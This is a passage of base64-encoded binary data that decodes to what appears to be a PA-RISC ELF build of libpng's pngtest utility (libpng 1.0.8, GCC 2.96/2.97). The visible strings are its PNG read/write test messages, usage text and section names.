EBQ0gwAC6B8e1QwjEoAPABAEDwIQEwpkAkOEYCAK6B8elbcYAAQMIBCFNLQAAugfH9UMNBKA
DwIQI4xgPlXShhv4DCAQhQ8yEBQ0pAAC6B8eJQwkEoAPABAFDwIQEwplAkSEgCAK6B8d5bcY
AAQMIBCGNNQAAugfH9UMNBKADwIQJIyAPaXSgxv4DCAQhg8yEBQ0xQAC6B8ddQwlEoAPABAG
DwIQEwpmAkWEoCAK6B8dNbcYAAQMIBCDNHQAAugfH9UMNBKADwIQJYygPPXShBv4DCAQgw8y
EBQ0ZgAC6B8cxQwmEoAPABADDwIQEwpjAkaEwCAKrwQcfTa1P/8MIBCENJQAAugfH9UMNBKA
DwIQJozAPDXShRv4DCAQhA8yEBQ0gwAC6B8cBQwjEoAPABAEDwIQEwpkAkOEYCAKrwQbxTa1
P/8MIBCFNLQAAugfH9UMNBKADwIQI4xgO33Shhv4DCAQhQ8yEBQ0pAAC6B8bTQwkEoAPABAF
DwIQEwplAkSEgCAKrwQbDTa1P/8MIBCGNNQAAugfH9UMNBKADwIQJIyAOsXSgxv4DCAQhjTF
AALoHxqlDCUSgA8gEJ00FwAAgB27zTQfAAAPMhAcNBUAPitgEAA0BgEA04Ib+DQFAYA0BAHg
NAMAIAgVAloIFQJWNCEAeIRCIkgIHAJU0pMb+IZkIYjSkxv4hmgg0NKTG/iGcCCC0pMb+IJj
ICI3/wACi/2/nQgAAkDoHxsFS8I/WQ8AEBMPAhAUCpMCU4ZgIAqvBB+1N/8AAgwgEJM2dAAC
6B8f1Qw0EoAPAhAzjmA/bdKTG/gMIBCTDzIQFDZzAALoHx89DDMSgA8AEBM3Wj/5AXoYQDa1
P/nWcwAANtY/+QiTAhOGYCA4NvcACI7wPt3Skxv4NBUAPjQXAAAIFQJarwIetQgVAlYMIBCT
DzIQFDZzAALoHx+lDDMSgA8AEBM2tT/9AXUYQDdaP/3WcwAANtY//QizAhOGYCA4NvcABI7w
PiXSkxv4NBUAPjQXAAAIFQJarwId/QgVAlYMIBCTDzIQFDZzAALoHx+lDDMSgA8AEBMBdhhA
N1o//za1P//WcwAANvcAAgjTAhOGYCA4NtY//47wPW3Skxv4NBUAPjQXAAAIFQJarwIdRQgV
AlYMIBCTDzIQFDZzAALoHx+lDDMSgCAiEABrwj/ZN94HgGvZODE0OQIAa8M+8WvPPpFrzj6Z
a80+oWvMPqlryz6xa8o+uWvJPsFryD7Ja8c+0WvGPtlrxT7ha8Q+6WvAPmnoXxAda9o4OStg
AAA0Iwhoh4A9cAx8EoAgQhAANFkCCOhfD91L2jgxK2AAAIeAPPhoPAhwIGIQADQZAAA0egIQ
NBgAAOhfDxU0FwAANBgAADQZAAA0FwAANHoCEOhfD6Vr3DyRS9o8kehfD81r3DyxS9o8sehf
D7Vr3DyZS9o8kehfD51r3Dy5S9o8sehfD4Vr3DyhNBkAAEvaPJHoXwoFa9w8qYeAIUgrYAAA
S9g4OUvXODEgohAANLkCIOhfCGVIOggQN9o8kTfZPJk32Dyh6F8NPQgAAkBL2jyx6F8QhTfZ
PKk32jyx6F8KTTfZPLkrYAAA6F8QdUg6CGgrYAAASDoIcOhfEFUIAAJANBwAAkvCOFlLzz6R
S84+mUvNPqFLzD6pS8s+sUvKPrlLyT7BS8g+yUvHPtFLxj7ZS8U+4UvEPulLwz7x6EDAADfe
OIFL2jyx6F8IlTQZAACHgCAoK2AAAEvYODlL1zgxIMIQAOgfHo002QJgK2AAAEvaPJHoXwp9
SDkIaCtgAABL2jyx6F8KXUg5CHArYAAASCcAeITiOdBL2jyx6F8HTTQZAAA0GQAA6F8IFUva
PJErYAAANBQCADQhCHgIAQJKNpQ/+Q1AEqgNQBKADCASkAwgEpiOgD/FNCEAICKiEABL2jyR
6F8KvUq5BfgrYBAAIoIQAEvaPLFKmQYA6F8FDWggAHg0GAAAS9o8kTQXAADoXwXlNBkABjQZ
AARL2jyxNBcAAOhfBb00GAAAS9k8mehfCoVL2jyRS9o8kTfPPMFL2TyZN848yTfNPNE3zDzZ
N8s84TfXPPE32Dzpa88/mWvOP5FrzT+Ja8w/gehfBM1ryz95h4AgcEvfPMFL3TzJS9w80UvT
PNlL1jzhS9o8sUvZPLlL2DzpS9c88WvfP5lr3T+Ra9w/iWvTP4HoXwjta9Y/eUvaPJE3xjz5
S9k8mTfFPQE3wz0JN8Q9ETfCPRk3wT0hN9g9KTfXPTFrxj+Za8U/kWvDP4lrxD+Ba8I/eehf
BSVrwT9xh4AggEvMPPlLyz0BS8o9CUvJPRFLyD0ZS8c9IUvaPLFL2Ty5S9g9KUvXPTFrzD+Z
a8s/kWvKP4lryT+Ba8g/eehfCPVrxz9xS9o8kTfYPTnoXwlVS9k8mYeAIBhL2jyxS9k8uehf
Cm1L2D05S9o8kTfOPUFL2TyZN809STfYPVE31z1Za84/mehfCaVrzT+Rh4AgQEvUPUFLzz1J
S9o8sUvZPLlL2D1RS9c9WWvUP5noXwN1a88/kUvaPJE32D1h6F8KdUvZPJmHgCAYS9o8sUvZ
PLnoXwrNS9g9YUvaPJE32D1pS9k8mehfBeU31z1xh4AgIEvaPLFL2Ty5S9g9aehfBjVL1z1x
S9o8kTfYPXnoXwj1S9k8mYeAIBhL2jyxS9k8uehfCK1L2D15S9o8kTfYPYHoXwbtS9k8mYeA
IBhL2jyxS9k8uehfCEVL2D2BS9o8kTfVPYlL2TyZN9g9kTfXPZnoXwUNa9U/mYeAIDBL1j2J
S9o8sUvZPLlL2D2RS9c9mehfCM1r1j+ZS9o8kTfBPaFL2TyZN989qTfdPbE30z25N9w9wTfY
Pck31z3Ra8E/mWvfP5Fr3T+Ja9M/gehfH/Fr3D95h4AgeEvGPaFLxT2pS8M9sUvEPblLwj3B
S9o8sUvZPLlL2D3JS9c90WvGP5lrxT+Ra8M/iWvEP4Frwj956F8BjQgAAkBL2jyRN8c92UvZ
PJk32D3hN9c96ehfAHVrxz+Zh4AgMkvIPdlL2jyxS9k8uUvYPeFL1z3p6F8f0WvIP5lL2jyR
N9g98ehfB3VL2TyZh4AgGEvaPLFL2Ty56F8B7UvYPfFL2jyRN8M+AUvZPJk32D4RN9c+Iehf
AFVrwz+Zh4AgSixgEAU32D4hLwAQBDfXP4FL2jyxS9k8uS7gEgVL2D4R6F8DvS7wEgRL2jyR
N9g+MUvZPJnoXwEVN9c+OYeAICBL2jyxS9k8uUvYPjHoXwblS9c+OUvaPJE32D5B6F8ApUvZ
PJmHgCB4S9o8sUvZPLnoXwV9S9g+QUvZPkHoXx0hS9o8kStgAAAIHAJZ6F8ABTQ6ACgrYAAA
NDkAIA8gEIk1OgACDzoSgEvaPJE3yj5JS9k8mTfYPlE31z5Z6F8AxWvKP5mHgCAyS8s+SUva
PLFL2Ty5S9g+UUvXPlnoXx8ha8s/mUvaPJE32D5h6F8EpUvZPJkIHAJFhKAiYEvaPLEIBQJX
S9k8uTQEAADoXx+hS9g+YYAFojBL2jyxNAMAAIygQLjQsxv+hmAhCEvGPmGOYkCgS9Q+YY5k
QEhLzj5hS8w+YTQYAABL2jyxNAMAKEGXACA0BAAC6F8biUvZPLlLzj5hCAQCWEvaPLE0hAAC
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
cgoAAAAAJXMgLT4gJXM6IGxpYnBuZyB3cml0ZSBlcnJvcgoAAABJbWFnZSB3aWR0aCA9ICVs
dSwgaGVpZ2h0ID0gJWx1CgAAAAAgICBXYXMgJXMgd3JpdHRlbiB3aXRoIHRoZSBzYW1lIG1h
eGltdW0gSURBVCBjaHVuayBzaXplICglZCBieXRlcyksAAogICBmaWx0ZXJpbmcgaGV1cmlz
dGljIChsaWJwbmcgZGVmYXVsdCksIGNvbXByZXNzaW9uAAAAIGxldmVsICh6bGliIGRlZmF1
bHQpLAogICBhbmQgemxpYiB2ZXJzaW9uICglcyk/CgoAADEuMS4zAAAACkZpbGVzICVzIGFu
ZCAlcyBhcmUgb2YgYSBkaWZmZXJlbnQgc2l6ZQoAAAAKRmlsZXMgJXMgYW5kICVzIGFyZSBk
aWZmZXJlbnQKAENvdWxkIG5vdCBmaW5kIGZpbGUgJXMKAE5vIG1lbW9yeSB0byBhbGxvY2F0
ZSByb3cgYnVmZmVyCgAAAENvdWxkIG5vdCBvcGVuIG91dHB1dCBmaWxlICVzCgAAQ291bGQg
bm90IGZpbmQgaW5wdXQgZmlsZSAlcwoAAAAAAF/SAABhcgAAXyoAAGEqcG5ndGVzdC5wbmcA
cG5nb3V0LnBuZwAAICAgd2l0aCB6bGliICAgdmVyc2lvbiAlcwoAACBsaWJyYXJ5ICglbHUp
OiVzAAAAIHBuZ3Rlc3QgKCVsdSk6JXMAAABUZXN0aW5nIGxpYnBuZyB2ZXJzaW9uICVzCgAA
IGxpYnBuZyB2ZXJzaW9uIDEuMC44IC0gSnVseSAyNCwgMjAwMCAoaGVhZGVyKQoAIHNpemVv
Zihwbmdfc3RydWN0KT0lZCwgc2l6ZW9mKHBuZ19pbmZvKT0lZAoAAAAAV2FybmluZzogdmVy
c2lvbnMgYXJlIGRpZmZlcmVudCBiZXR3ZWVuIHBuZy5oIGFuZCBwbmcuYwoAAAAAICBwbmcu
aCB2ZXJzaW9uOiAlcwoAAAAAICBwbmcuYyB2ZXJzaW9uOiAlcwoKAAAALW0AAC1tdgAtdm0A
LXYAAHVzYWdlOiAlcyBbaW5maWxlLnBuZ10gW291dGZpbGUucG5nXQoJJXMgLW0ge2luZmls
ZS5wbmd9CgAAACAgcmVhZHMvd3JpdGVzIG9uZSBQTkcgZmlsZSAod2l0aG91dCAtbSkgb3Ig
bXVsdGlwbGUgZmlsZXMgKC1tKQoAAAAAICB3aXRoIC1tICVzIGlzIHVzZWQgYXMgYSB0ZW1w
b3JhcnkgZmlsZQoAAAAKIFBBU1MgKCVsdSB6ZXJvIHNhbXBsZXMpCgAAIHRJTUUgPSAlcwoA
VGVzdGluZyAlczoAIEZBSUwKAABsaWJwbmcgRkFJTFMgdGVzdAoAAGxpYnBuZyBwYXNzZXMg
dGVzdAoAIEZpbHRlciAlZCB3YXMgdXNlZCAlbHUgdGltZXMKAAAKIFBhc3MgJWQ6IAAKICAg
ICAgICAgAAAAABSYAAAUzAgIABAAAQAAAAAZ4AAAGngIAQAYAAAAEAAAGnwAABqYCAEAGAAA
AAgAABqcAAAa3AgBABgAAAAIAAAa4AAAGvwIAQAYAAAACAAAGwAAAB/sCAQACAAAAAgAAB/w
AAAvKAgNAAgAAAB4AAAvLAAANwwIEAAIAAAAEAAANxAAADfQCAMACAAAAAgAADfUAAA4AAgA
AAgAAAAIAAA4BAAAOCgIAAAIAAAAAAAAOCwAADhACAAAAAAAAAAAADhEAAA4pAgBABgAAAAQ
AAA4qAAAOMQIAQAYAAAACAAAOMgAADjICAAAAAAAAAAAADjMAAA48AgIABAAAQAAAAAAAAAA
XwQAAAAAAAAAAAAAAABubyB0SU1FIGNodW5rIHByZXNlbnQgaW4gZmlsZQAAAAAAAAAAAAAB
AAAAAAAAAAEAAAAAAABLBAAASxAAAAAAAAAAAP////8AAAAA/////wAAAAAAAGHMAABeoAAA
YcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6g
AABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAA
XqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHM
AABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAA
YcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6g
AABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAA
XqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHM
AABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAA
YcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6g
AABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAA
XqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHM
AABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAAAGHMAABeoAAA
YcwAAF6gAABhzAAAXqAAAGHMAABeoAAAYcwAAF6gAABhzAAAXqAOgBCW6sDAAA6IEJXqnx/d
1oAcHgDA/+7erb7vAABh5AAAAAAAAAABAAAAAQAAAAEAAATUAAAAAQAABN4AAAABAAAE6AAA
AA8AAAV3AAAADAAAJJgAAAANAABIzAAAAAQAABEkAAAABQAAGaQAAAAGAAATtAAAAAoAAAXN
AAAACwAAABAAAAADAABeoAAAABUAAAAAAAAAAgAABBQAAAAUAAAABwAAABcAACB0AAAABwAA
IFwAAAAIAAAELAAAAAkAAAAMb////gAAIDxv////AAAAAW////AAAB98AAAAAAAAAAAAAAAA
AEdDQzogKEdOVSkgMi45NiAyMDAwMDkyNSAoZXhwZXJpbWVudGFsKQAAR0NDOiAoR05VKSAy
Ljk2IDIwMDAwOTI1IChleHBlcmltZW50YWwpAABHQ0M6IChHTlUpIDIuOTcgMjAwMTAyMDMg
KGV4cGVyaW1lbnRhbCkAAEdDQzogKEdOVSkgMi45NyAyMDAxMDIwMyAoZXhwZXJpbWVudGFs
KQAAR0NDOiAoR05VKSAyLjk3IDIwMDEwMjAzIChleHBlcmltZW50YWwpAABHQ0M6IChHTlUp
IDIuOTYgMjAwMDA5MjUgKGV4cGVyaW1lbnRhbCkAAAAACAAAAAAAAAABMDEuMDEAAAAAAAAI
AAAAAAAAAAEwMS4wMQAAAAAAAAgAAAAAAAAAATAxLjAxAAAAAC5zeW10YWIALnN0cnRhYgAu
c2hzdHJ0YWIALmludGVycAAubm90ZS5BQkktdGFnAC5oYXNoAC5keW5zeW0ALmR5bnN0cgAu
Z251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbGEuYnNzAC5yZWxhLnBsdAAuaW5pdAAu
dGV4dAAuZmluaQAucm9kYXRhAC5QQVJJU0MudW53aW5kAC5kYXRhAC5laF9mcmFtZQAuY3Rv
cnMALmR0b3JzAC5wbHQALmdvdAAuZHluYW1pYwAuc2JzcwAuYnNzAC5jb21tZW50AC5ub3Rl
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAAAQAA
AAIAABD0AAAA9AAAAA0AAAAAAAAAAAAAAAEAAAAAAAAAIwAAAAcAAAACAAARBAAAAQQAAAAg
AAAAAAAAAAAAAAAEAAAAAAAAADEAAAAFAAAAAgAAESQAAAEkAAACkAAAAAQAAAAAAAAABAAA
AAQAAAA3AAAACwAAAAIAABO0AAADtAAABfAAAAAFAAAAAQAAAAQAAAAQAAAAPwAAAAMAAAAC
AAAZpAAACaQAAAXXAAAAAAAAAAAAAAABAAAAAAAAAEdv////AAAAAgAAH3wAAA98AAAAvgAA
AAQAAAAAAAAAAgAAAAIAAABUb////gAAAAIAACA8AAAQPAAAACAAAAAFAAAAAQAAAAQAAAAA
AAAAYwAAAAQAAAACAAAgXAAAEFwAAAAYAAAABAAAABcAAAAEAAAADAAAAG0AAAAEAAAAAgAA
IHQAABB0AAAEFAAAAAQAAAATAAAABAAAAAwAAAB3AAAAAQAAAAYAACSIAAAUiAAAAEgAAAAA
AAAAAAAAAAQAAAAAAAAAfQAAAAEAAAAGAAAk0AAAFNAAACP8AAAAAAAAAAAAAAAEAAAAAAAA
AIMAAAABAAAABgAASMwAADjMAAAAKAAAAAAAAAAAAAAABAAAAAAAAACJAAAAAQAAAAIAAEj0
AAA49AAABKwAAAAAAAAAAAAAAAQAAAAAAAAAkQAAAAEAAAACAABNoAAAPaAAAAEAAAAAAAAA
AAsAAAAEAAAABAAAAKAAAAABAAAAAwAAXqAAAD6gAAAAVAAAAAAAAAAAAAAABAAAAAAAAACm
AAAAAQAAAAMAAF70AAA+9AAAAAQAAAAAAAAAAAAAAAQAAAAAAAAAsAAAAAEAAAADAABe+AAA
PvgAAAAIAAAAAAAAAAAAAAAEAAAAAAAAALcAAAABAAAAAwAAXwAAAD8AAAAACAAAAAAAAAAA
AAAABAAAAAAAAAC+AAAAAQAAAAcAAF8IAAA/CAAAAtQAAAAAAAAAAAAAAAQAAAAIAAAAwwAA
AAEAAAADAABh3AAAQdwAAAAIAAAAAAAAAAAAAAAEAAAABAAAAMgAAAAGAAAAAwAAYeQAAEHk
AAAAwAAAAAUAAAAAAAAABAAAAAgAAADRAAAAAQAAAAEAAGKkAABCqAAAAAAAAAAAAAAAAAAA
AAEAAAAAAAAA1wAAAAgAAAADAABiqAAAQqgAAAQ4AAAAAAAAAAAAAAAIAAAAAAAAANwAAAAB
AAAAAAAAAAAAAEKoAAAA9gAAAAAAAAAAAAAAAQAAAAAAAADlAAAABwAAAAAAAAAAAABDngAA
ADwAAAAAAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAQ9oAAADrAAAAAAAAAAAAAAAB
AAAAAAAAAAEAAAACAAAAAAAAAAAAAElQAAAOEAAAABwAAAB9AAAABAAAABAAAAAJAAAAAwAA
AAAAAAAAAABXYAAACVgAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABD0
AAAAAAMAAAEAAAAAAAARBAAAAAADAAACAAAAAAAAESQAAAAAAwAAAwAAAAAAABO0AAAAAAMA
